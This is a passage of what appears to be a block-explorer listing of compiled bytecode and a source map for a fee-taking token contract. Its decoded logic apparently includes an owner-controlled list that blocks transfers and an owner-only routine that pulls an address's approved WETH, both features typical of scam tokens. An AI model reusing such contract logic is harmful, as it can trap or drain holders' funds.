a2565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790611741908590600090869030904290600401611f2c565b600060405180830381600087803b15801561175b57600080fd5b505af115801561176f573d6000803e3d6000fd5b504792505050662386f26fc10000811115611802576003546001600160a01b03166108fc61179e600a84611dd1565b6040518115909202916000818181858888f193505050501580156117c6573d6000803e3d6000fd5b506004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611800573d6000803e3d6000fd5b505b5050600c805460ff1916905550565b6001600160a01b038416600090815260016020526040902054611835908390611d11565b6001600160a01b0385166000908152600160205260408120919091558115611976576001600160a01b0384166000908152600b602052604081205460ff161561189657601354600d541161188b57600f5461188f565b6011545b90506118d1565b6001600160a01b0386166000908152600b602052604090205460ff16156118d157601254600d54116118ca57600e546118ce565b6010545b90505b600060646118df8387611f7b565b6118e99190611dd1565b90508015611973576118fb8184611f68565b30600090815260016020526040902054909350611919908290611f68565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061196a9085815260200190565b60405180910390a35b50505b6119808184611d11565b6001600160a01b0385166000908152600160205260409020546119a39190611f68565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119ed8487611d11565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b81811015611a3257858101830151858201604001528201611a16565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109ca57600080fd5b600060208284031215611a7a57600080fd5b8135611a8581611a53565b9392505050565b60008060408385031215611a9f57600080fd5b8235611aaa81611a53565b946020939093013593505050565b600080600060608486031215611acd57600080fd5b8335611ad881611a53565b92506020840135611ae881611a53565b929592945050506040919091013590565b600080600080600060a08688031215611b1157600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208284031215611b4657600080fd5b5035919050565b60008083601f840112611b5f57600080fd5b50813567ffffffffffffffff811115611b7757600080fd5b6020830191508360208260051b8501011115611b9257600080fd5b9250929050565b60008060008060608587031215611baf57600080fd5b8435611bba81611a53565b9350602085013567ffffffffffffffff811115611bd657600080fd5b611be287828801611b4d565b9598909750949560400135949350505050565b60008060408385031215611c0857600080fd5b8235611c1381611a53565b91506020830135611c2381611a53565b809150509250929050565b80151581146109ca57600080fd5b600080600060408486031215611c5157600080fd5b833567ffffffffffffffff811115611c6857600080fd5b611c7486828701611b4d565b9094509250506020840135611c8881611c2e565b809150509250925092565b60008060408385031215611ca657600080fd5b8235611cb181611a53565b91506020830135611c2381611c2e565b600181811c90821680611cd557607f821691505b602082108103611cf557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106c0576106c0611cfb565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060208284031215611d6157600080fd5b5051919050565b600060208284031215611d7a57600080fd5b8151611a8581611c2e565b600060208284031215611d9757600080fd5b8151611a8581611a53565b634e487b7160e01b600052603260045260246000fd5b600060018201611dca57611dca611cfb565b5060010190565b600082611dee57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600081518084526020808501945080840160005b83811015611e425781516001600160a01b031687529582019590820190600101611e1d565b509495945050505050565b828152604060208201526000611e666040830184611e09565b949350505050565b60006020808385031215611e8157600080fd5b825167ffffffffffffffff80821115611e9957600080fd5b818501915085601f830112611ead57600080fd5b815181811115611ebf57611ebf611df3565b8060051b604051601f19603f83011681018181108582111715611ee457611ee4611df3565b604052918252848201925083810185019188831115611f0257600080fd5b938501935b82851015611f2057845184529385019392850192611f07565b98975050505050505050565b85815284602082015260a060408201526000611f4b60a0830186611e09565b6001600160a01b0394909416606083015250608001529392505050565b808201808211156106c0576106c0611cfb565b80820281158282048414176106c0576106c0611cfb56fea26469706673582212202f206844834a35004ab906bb3d4e66ad91612fd14b1c6920ed2b136aecb3c9c664736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101dc5760003560e01c806370a0823111610102578063bc2b8fb711610095578063d5ad260211610064578063d5ad260214610577578063dd62ed3e14610597578063e5cfa6b5146105dd578063f2fde38b146105fd57600080fd5b8063bc2b8fb714610508578063bc76c05214610528578063cefab2af1461053d578063d242fbcc1461055757600080fd5b80638da5cb5b116100d15780638da5cb5b1461049557806395d89b41146104b3578063a67755c2146104c8578063a9059cbb146104e857600080fd5b806370a0823114610414578063715018a61461044a5780637cc5b1e61461045f578063869175241461047f57600080fd5b806336b2e0271161017a578063553193ca11610149578063553193ca146103a95780636402511e146103bf57806365b61b77146103df5780636c580801146103ff57600080fd5b806336b2e027146102ea5780633ecad2711461031a5780633f80b6d71461034a5780634bf28fd01461036c57600080fd5b806318160ddd116101b657806318160ddd1461027357806323b872dd1461029257806327b1a8e9146102b2578063313ce567146102c857600080fd5b806306fdde03146101e857806308b5871c14610213578063095ea7b31461025357600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd61061d565b60405161020a9190611a05565b60405180910390f35b34801561021f57600080fd5b5061024361022e366004611a68565b60176020526000908152604090205460ff1681565b604051901515815260200161020a565b34801561025f57600080fd5b5061024361026e366004611a8c565b6106af565b34801561027f57600080fd5b506009545b60405190815260200161020a565b34801561029e57600080fd5b506102436102ad366004611ab8565b6106c6565b3480156102be57600080fd5b50610284600d5481565b3480156102d457600080fd5b5060075460405160ff909116815260200161020a565b3480156102f657600080fd5b50610243610305366004611a68565b60086020526000908152604090205460ff1681565b34801561032657600080fd5b50610243610335366004611a68565b600b6020526000908152604090205460ff1681565b34801561035657600080fd5b5061036a610365366004611af9565b61075d565b005b34801561037857600080fd5b50600c546103919061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b3480156103b557600080fd5b5061028460185481565b3480156103cb57600080fd5b5061036a6103da366004611b34565b6107a7565b3480156103eb57600080fd5b50600a54610391906001600160a01b031681565b34801561040b57600080fd5b5061036a6107d6565b34801561042057600080fd5b5061028461042f366004611a68565b6001600160a01b031660009081526001602052604090205490565b34801561045657600080fd5b5061036a610815565b34801561046b57600080fd5b50600354610391906001600160a01b031681565b34801561048b57600080fd5b5061028460165481565b3480156104a157600080fd5b506000546001600160a01b0316610391565b3480156104bf57600080fd5b506101fd610889565b3480156104d457600080fd5b5061036a6104e3366004611a68565b610898565b3480156104f457600080fd5b50610243610503366004611a8c565b6109cd565b34801561051457600080fd5b5061036a610523366004611b99565b6109da565b34801561053457600080fd5b5061036a610d1e565b34801561054957600080fd5b506015546102439060ff1681565b34801561056357600080fd5b5061036a610572366004611bf5565b610d5c565b34801561058357600080fd5b5061036a610592366004611c3c565b610db4565b3480156105a357600080fd5b506102846105b2366004611bf5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105e957600080fd5b5061036a6105f8366004611c93565b610e55565b34801561060957600080fd5b5061036a610618366004611a68565b610eaa565b60606005805461062c90611cc1565b80601f016020809104026020016040519081016040528092919081815260200182805461065890611cc1565b80156106a55780601f1061067a576101008083540402835291602001916106a5565b820191906000526020600020905b81548152906001019060200180831161068857829003601f168201915b5050505050905090565b60006106bc338484610f70565b5060015b92915050565b60006106d3848484610fd1565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610753576001600160a01b038416600090815260026020908152604080832033845290915290205461072e908390611d11565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161078790611d24565b60405180910390fd5b601094909455601192909255601255601355601455565b6000546001600160a01b031633146107d15760405162461bcd60e51b815260040161078790611d24565b601655565b6000546001600160a01b031633146108005760405162461bcd60e51b815260040161078790611d24565b6018541561080f576000601855565b43601855565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161078790611d24565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606006805461062c90611cc1565b6001600160a01b03811630146109ca576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190611d4f565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af115801561096a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098e9190611d68565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156109c8573d6000803e3d6000fd5b505b50565b60006106bc338484610fd1565b6000546001600160a01b03163314610a045760405162461bcd60e51b815260040161078790611d24565b600a54604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015610a4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a729190611d85565b600a5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291925082169063095ea7b3906044016020604051808303816000875af1158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec9190611d68565b506040516370a0823160e01b81526001600160a01b0386811660048301528216906323b872dd908790309084906370a0823190602401602060405180830381865afa158015610b3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b639190611d4f565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af1158015610bb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdb9190611d68565b5060005b83811015610c2957610c1783868684818110610bfd57610bfd611da2565b9050602002016020810190610c129190611a68565b611254565b80610c2181611db8565b915050610bdf565b50436018556040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa158015610c75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c999190611d4f565b90508015610d165760405163a9059cbb60e01b81526001600160a01b0387811660048301526024820183905283169063a9059cbb906044016020604051808303816000875af1158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190611d68565b505b505050505050565b6000546001600160a01b03163314610d485760405162461bcd60e51b815260040161078790611d24565b6015805460ff19811660ff90911615179055565b6000546001600160a01b03163314610d865760405162461bcd60e51b815260040161078790611d24565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b6000546001600160a01b03163314610dde5760405162461bcd60e51b815260040161078790611d24565b60005b82811015610e4f578160086000868685818110610e0057610e00611da2565b9050602002016020810190610e159190611a68565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610e4781611db8565b915050610de1565b50505050565b6000546001600160a01b03163314610e7f5760405162461bcd60e51b815260040161078790611d24565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ed45760405162461bcd60e51b815260040161078790611d24565b6001600160a01b038116610f155760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610787565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811080159061101357506001600160a01b03841660009081526017602052604090205460ff16155b6110525760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610787565b600c5460ff161561106f57611068848484611574565b5050505050565b6001600160a01b0383166000908152600b602052604081205460ff16801561109a5750600c5460ff16155b80156110bf57506001600160a01b03851660009081526008602052604090205460ff16155b80156110e457506001600160a01b03841660009081526008602052604090205460ff16155b80156110f35750601454600d54115b15611138573060009081526001602052604090205483908111156111235750306000908152600160205260409020545b6016548111156111365761113681611629565b505b6001600160a01b03851660009081526008602052604090205460ff1615801561117a57506001600160a01b03841660009081526008602052604090205460ff16155b80156111895750600c5460ff16155b156112485760006018541161119d57600080fd5b506001600160a01b0384166000908152600b602052604090205460019060ff1680156111d75750600a546001600160a01b03858116911614155b80156111fc57506001600160a01b03841660009081526008602052604090205460ff16155b1561121757600d805490600061121183611db8565b91905055505b60155460ff16801561122857508183145b156112485761123b6305f5e10084611dd1565b6112459084611d11565b92505b61106885858584611811565b600c805460ff19166001179055600a54604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa1580156112ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112cf9190611d85565b6040805160028082526060820183529293506000929091602083019080368337019050509050818160008151811061130957611309611da2565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061133d5761133d611da2565b6001600160a01b03929092166020928302919091018201526040805160028082526060820183526000939192909183019080368337019050509050308160008151811061138c5761138c611da2565b60200260200101906001600160a01b031690816001600160a01b03168152505082816001815181106113c0576113c0611da2565b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81523060048201526000918516906370a0823190602401602060405180830381865afa158015611415573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114399190611d4f565b600a5460405163d06ca61f60e01b81529192506000916001600160a01b039091169063d06ca61f90611471908a908790600401611e4d565b600060405180830381865afa15801561148e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526114b69190810190611e6e565b6001815181106114c8576114c8611da2565b602002602001015190508181116114df57806114e1565b815b9050806000036114f5575050505050611566565b600a54604051635c11d79560e01b81526001600160a01b0390911690635c11d7959061152e90849060009089908c904290600401611f2c565b600060405180830381600087803b15801561154857600080fd5b505af115801561155c573d6000803e3d6000fd5b5050505050505050505b5050600c805460ff19169055565b6001600160a01b03831660009081526001602052604081208054839190839061159e908490611d11565b90915550506001600160a01b038316600090815260016020526040812080548492906115cb908490611f68565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161161791815260200190565b60405180910390a35060019392505050565b600c805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061166b5761166b611da2565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e89190611d85565b816001815181106116fb576116fb611da2565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790611741908590600090869030904290600401611f2c565b600060405180830381600087803b15801561175b57600080fd5b505af115801561176f573d6000803e3d6000fd5b504792505050662386f26fc10000811115611802576003546001600160a01b03166108fc61179e600a84611dd1565b6040518115909202916000818181858888f193505050501580156117c6573d6000803e3d6000fd5b506004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611800573d6000803e3d6000fd5b505b5050600c805460ff1916905550565b6001600160a01b038416600090815260016020526040902054611835908390611d11565b6001600160a01b0385166000908152600160205260408120919091558115611976576001600160a01b0384166000908152600b602052604081205460ff161561189657601354600d541161188b57600f5461188f565b6011545b90506118d1565b6001600160a01b0386166000908152600b602052604090205460ff16156118d157601254600d54116118ca57600e546118ce565b6010545b90505b600060646118df8387611f7b565b6118e99190611dd1565b90508015611973576118fb8184611f68565b30600090815260016020526040902054909350611919908290611f68565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061196a9085815260200190565b60405180910390a35b50505b6119808184611d11565b6001600160a01b0385166000908152600160205260409020546119a39190611f68565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119ed8487611d11565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b81811015611a3257858101830151858201604001528201611a16565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109ca57600080fd5b600060208284031215611a7a57600080fd5b8135611a8581611a53565b9392505050565b60008060408385031215611a9f57600080fd5b8235611aaa81611a53565b946020939093013593505050565b600080600060608486031215611acd57600080fd5b8335611ad881611a53565b92506020840135611ae881611a53565b929592945050506040919091013590565b600080600080600060a08688031215611b1157600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208284031215611b4657600080fd5b5035919050565b60008083601f840112611b5f57600080fd5b50813567ffffffffffffffff811115611b7757600080fd5b6020830191508360208260051b8501011115611b9257600080fd5b9250929050565b60008060008060608587031215611baf57600080fd5b8435611bba81611a53565b9350602085013567ffffffffffffffff811115611bd657600080fd5b611be287828801611b4d565b9598909750949560400135949350505050565b60008060408385031215611c0857600080fd5b8235611c1381611a53565b91506020830135611c2381611a53565b809150509250929050565b80151581146109ca57600080fd5b600080600060408486031215611c5157600080fd5b833567ffffffffffffffff811115611c6857600080fd5b611c7486828701611b4d565b9094509250506020840135611c8881611c2e565b809150509250925092565b60008060408385031215611ca657600080fd5b8235611cb181611a53565b91506020830135611c2381611c2e565b600181811c90821680611cd557607f821691505b602082108103611cf557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106c0576106c0611cfb565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060208284031215611d6157600080fd5b5051919050565b600060208284031215611d7a57600080fd5b8151611a8581611c2e565b600060208284031215611d9757600080fd5b8151611a8581611a53565b634e487b7160e01b600052603260045260246000fd5b600060018201611dca57611dca611cfb565b5060010190565b600082611dee57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600081518084526020808501945080840160005b83811015611e425781516001600160a01b031687529582019590820190600101611e1d565b509495945050505050565b828152604060208201526000611e666040830184611e09565b949350505050565b60006020808385031215611e8157600080fd5b825167ffffffffffffffff80821115611e9957600080fd5b818501915085601f830112611ead57600080fd5b815181811115611ebf57611ebf611df3565b8060051b604051601f19603f83011681018181108582111715611ee457611ee4611df3565b604052918252848201925083810185019188831115611f0257600080fd5b938501935b82851015611f2057845184529385019392850192611f07565b98975050505050505050565b85815284602082015260a060408201526000611f4b60a0830186611e09565b6001600160a01b0394909416606083015250608001529392505050565b808201808211156106c0576106c0611cfb565b80820281158282048414176106c0576106c0611cfb56fea26469706673582212202f206844834a35004ab906bb3d4e66ad91612fd14b1c6920ed2b136aecb3c9c664736f6c63430008110033

Deployed Bytecode Sourcemap

2997:10224:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5252:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8000:41;;;;;;;;;;-1:-1:-1;8000:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;1120:14:1;;1113:22;1095:41;;1083:2;1068:18;8000:41:0;955:187:1;6015:159:0;;;;;;;;;;-1:-1:-1;6015:159:0;;;;;:::i;:::-;;:::i;5456:100::-;;;;;;;;;;-1:-1:-1;5536:12:0;;5456:100;;;1613:25:1;;;1601:2;1586:18;5456:100:0;1467:177:1;6182:336:0;;;;;;;;;;-1:-1:-1;6182:336:0;;;;;:::i;:::-;;:::i;6978:26::-;;;;;;;;;;;;;;;;5354:94;;;;;;;;;;-1:-1:-1;5431:9:0;;5354:94;;5431:9;;;;2252:36:1;;2240:2;2225:18;5354:94:0;2110:184:1;3320:49:0;;;;;;;;;;-1:-1:-1;3320:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3454:44;;;;;;;;;;-1:-1:-1;3454:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7293:406;;;;;;;;;;-1:-1:-1;7293:406:0;;;;;:::i;:::-;;:::i;:::-;;3580:27;;;;;;;;;;-1:-1:-1;3580:27:0;;;;;;;-1:-1:-1;;;;;3580:27:0;;;;;;-1:-1:-1;;;;;2922:32:1;;;2904:51;;2892:2;2877:18;3580:27:0;2758:203:1;10568:30:0;;;;;;;;;;;;;;;;7875:117;;;;;;;;;;-1:-1:-1;7875:117:0;;;;;:::i;:::-;;:::i;3411:36::-;;;;;;;;;;-1:-1:-1;3411:36:0;;;;-1:-1:-1;;;;;3411:36:0;;;10605:115;;;;;;;;;;;;;:::i;5564:119::-;;;;;;;;;;-1:-1:-1;5564:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5657:18:0;5630:7;5657:18;;;:9;:18;;;;;;;5564:119;2620:148;;;;;;;;;;;;;:::i;3166:26::-;;;;;;;;;;-1:-1:-1;3166:26:0;;;;-1:-1:-1;;;;;3166:26:0;;;7841:27;;;;;;;;;;;;;;;;2423:79;;;;;;;;;;-1:-1:-1;2461:7:0;2488:6;-1:-1:-1;;;;;2488:6:0;2423:79;;5146:98;;;;;;;;;;;;;:::i;12145:237::-;;;;;;;;;;-1:-1:-1;12145:237:0;;;;;:::i;:::-;;:::i;5691:165::-;;;;;;;;;;-1:-1:-1;5691:165:0;;;;;:::i;:::-;;:::i;10728:575::-;;;;;;;;;;-1:-1:-1;10728:575:0;;;;;:::i;:::-;;:::i;7746:87::-;;;;;;;;;;;;;:::i;7707:32::-;;;;;;;;;;-1:-1:-1;7707:32:0;;;;;;;;4976:162;;;;;;;;;;-1:-1:-1;4976:162:0;;;;;:::i;:::-;;:::i;12985:196::-;;;;;;;;;;-1:-1:-1;12985:196:0;;;;;:::i;:::-;;:::i;5864:143::-;;;;;;;;;;-1:-1:-1;5864:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5972:18:0;;;5945:7;5972:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5864:143;8048:110;;;;;;;;;;-1:-1:-1;8048:110:0;;;;;:::i;:::-;;:::i;2776:214::-;;;;;;;;;;-1:-1:-1;2776:214:0;;;;;:::i;:::-;;:::i;5252:94::-;5300:13;5333:5;5326:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5252:94;:::o;6015:159::-;6090:4;6107:37;6116:10;6128:7;6137:6;6107:8;:37::i;:::-;-1:-1:-1;6162:4:0;6015:159;;;;;:::o;6182:336::-;6280:4;6297:36;6307:6;6315:9;6326:6;6297:9;:36::i;:::-;-1:-1:-1;;;;;6348:19:0;;3571:1;6348:19;;;:11;:19;;;;;;;;6368:10;6348:31;;;;;;;;-1:-1:-1;;6348:38:0;6344:145;;-1:-1:-1;;;;;6437:19:0;;;;;;:11;:19;;;;;;;;6457:10;6437:31;;;;;;;;:40;;6471:6;;6437:40;:::i;:::-;-1:-1:-1;;;;;6403:19:0;;;;;;:11;:19;;;;;;;;6423:10;6403:31;;;;;;;:74;6344:145;-1:-1:-1;6506:4:0;6182:336;;;;;:::o;7293:406::-;2550:6;;-1:-1:-1;;;;;2550:6:0;2560:10;2550:20;2542:50;;;;-1:-1:-1;;;2542:50:0;;;;;;;:::i;:::-;;;;;;;;;7500:12:::1;:21:::0;;;;7532:13:::1;:23:::0;;;;7566:15:::1;:30:::0;7607:16:::1;:32:::0;7650:18:::1;:41:::0;7293:406::o;7875:117::-;2550:6;;-1:-1:-1;;;;;2550:6:0;2560:10;2550:20;2542:50;;;;-1:-1:-1;;;2542:50:0;;;;;;;:::i;:::-;7961:12:::1;:23:::0;7875:117::o;10605:115::-;2550:6;;-1:-1:-1;;;;;2550:6:0;2560:10;2550:20;2542:50;;;;-1:-1:-1;;;2542:50:0;;;;;;;:::i;:::-;10673:15:::1;::::0;:20;:39:::1;;10711:1;10655:15;:57:::0;10605:115::o;10673:39::-:1;10696:12;10655:15;:57:::0;10605:115::o;2620:148::-;2550:6;;-1:-1:-1;;;;;2550:6:0;2560:10;2550:20;2542:50;;;;-1:-1:-1;;;2542:50:0;;;;;;;:::i;:::-;2727:1:::1;2711:6:::0;;2690:40:::1;::::0;-1:-1:-1;;;;;2711:6:0;;::::1;::::0;2690:40:::1;::::0;2727:1;;2690:40:::1;2758:1;2741:19:::0;;-1:-1:-1;;;;;;2741:19:0::1;::::0;;2620:148::o;5146:98::-;5196:13;5229:7;5222:14;;;;;:::i;12145:237::-;-1:-1:-1;;;;;12205:23:0;;12223:4;12205:23;12202:173;;12268:3;;12273:39;;-1:-1:-1;;;12273:39:0;;12306:4;12273:39;;;2904:51:1;-1:-1:-1;;;;;12244:23:0;;;;;;12268:3;;;12244:23;;12273:24;;2877:18:1;;12273:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12244:69;;-1:-1:-1;;;;;;12244:69:0;;;;;;;-1:-1:-1;;;;;7890:32:1;;;12244:69:0;;;7872:51:1;7939:18;;;7932:34;7845:18;;12244:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;12328:3:0;;:35;;-1:-1:-1;;;;;12328:3:0;;;;12341:21;12328:35;;;;;:3;:35;:3;:35;12341:21;12328:3;:35;;;;;;;;;;;;;;;;;;;;;12202:173;12145:237;:::o;5691:165::-;5769:4;5786:40;5796:10;5808:9;5819:6;5786:9;:40::i;10728:575::-;2550:6;;-1:-1:-1;;;;;2550:6:0;2560:10;2550:20;2542:50;;;;-1:-1:-1;;;2542:50:0;;;;;;;:::i;:::-;10842:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;10842:21:0;;;;10827:12:::1;::::0;-1:-1:-1;;;;;10842:14:0::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10903:14;::::0;10874:58:::1;::::0;-1:-1:-1;;;10874:58:0;;-1:-1:-1;;;;;10903:14:0;;::::1;10874:58;::::0;::::1;7872:51:1::0;-1:-1:-1;;7939:18:1;;;7932:34;10827:36:0;;-1:-1:-1;10874:20:0;::::1;::::0;::::1;::::0;7845:18:1;;10874:58:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10989:29:0::1;::::0;-1:-1:-1;;;10989:29:0;;-1:-1:-1;;;;;2922:32:1;;;10989:29:0::1;::::0;::::1;2904:51:1::0;10943:25:0;::::1;::::0;::::1;::::0;10969:5;;10983:4:::1;::::0;10943:25;;10989:22:::1;::::0;2877:18:1;;10989:29:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10943:76;::::0;-1:-1:-1;;;;;;10943:76:0::1;::::0;;;;;;-1:-1:-1;;;;;9020:15:1;;;10943:76:0::1;::::0;::::1;9002:34:1::0;9072:15;;;;9052:18;;;9045:43;9104:18;;;9097:34;8937:18;;10943:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11034:6;11030:80;11043:13:::0;;::::1;11030:80;;;11076:22;11086:3;11090:4;;11095:1;11090:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;11076:9;:22::i;:::-;11057:3:::0;::::1;::::0;::::1;:::i;:::-;;;;11030:80;;;-1:-1:-1::0;11138:12:0::1;11120:15;:30:::0;11176:37:::1;::::0;-1:-1:-1;;;11176:37:0;;11207:4:::1;11176:37;::::0;::::1;2904:51:1::0;11161:12:0::1;::::0;-1:-1:-1;;;;;11176:22:0;::::1;::::0;::::1;::::0;2877:18:1;;11176:37:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11161:52:::0;-1:-1:-1;11227:8:0;;11224:72:::1;;11251:33;::::0;-1:-1:-1;;;11251:33:0;;-1:-1:-1;;;;;7890:32:1;;;11251:33:0::1;::::0;::::1;7872:51:1::0;7939:18;;;7932:34;;;11251:21:0;::::1;::::0;::::1;::::0;7845:18:1;;11251:33:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11224:72;10816:487;;10728:575:::0;;;;:::o;7746:87::-;2550:6;;-1:-1:-1;;;;;2550:6:0;2560:10;2550:20;2542:50;;;;-1:-1:-1;;;2542:50:0;;;;;;;:::i;:::-;7813:12:::1;::::0;;-1:-1:-1;;7797:28:0;::::1;7813:12;::::0;;::::1;7812:13;7797:28;::::0;;7746:87::o;4976:162::-;2550:6;;-1:-1:-1;;;;;2550:6:0;2560:10;2550:20;2542:50;;;;-1:-1:-1;;;2542:50:0;;;;;;;:::i;:::-;5093:3:::1;:12:::0;;-1:-1:-1;;;;;5093:12:0;;::::1;-1:-1:-1::0;;;;;;5093:12:0;;::::1;;::::0;;;5116:4:::1;:14:::0;;;;;::::1;::::0;::::1;;::::0;;4976:162::o;12985:196::-;2550:6;;-1:-1:-1;;;;;2550:6:0;2560:10;2550:20;2542:50;;;;-1:-1:-1;;;2542:50:0;;;;;;;:::i;:::-;13074:9:::1;13069:105;13085:18:::0;;::::1;13069:105;;;13157:5;13125:17;:29;13143:7;;13151:1;13143:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13125:29:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13125:29:0;: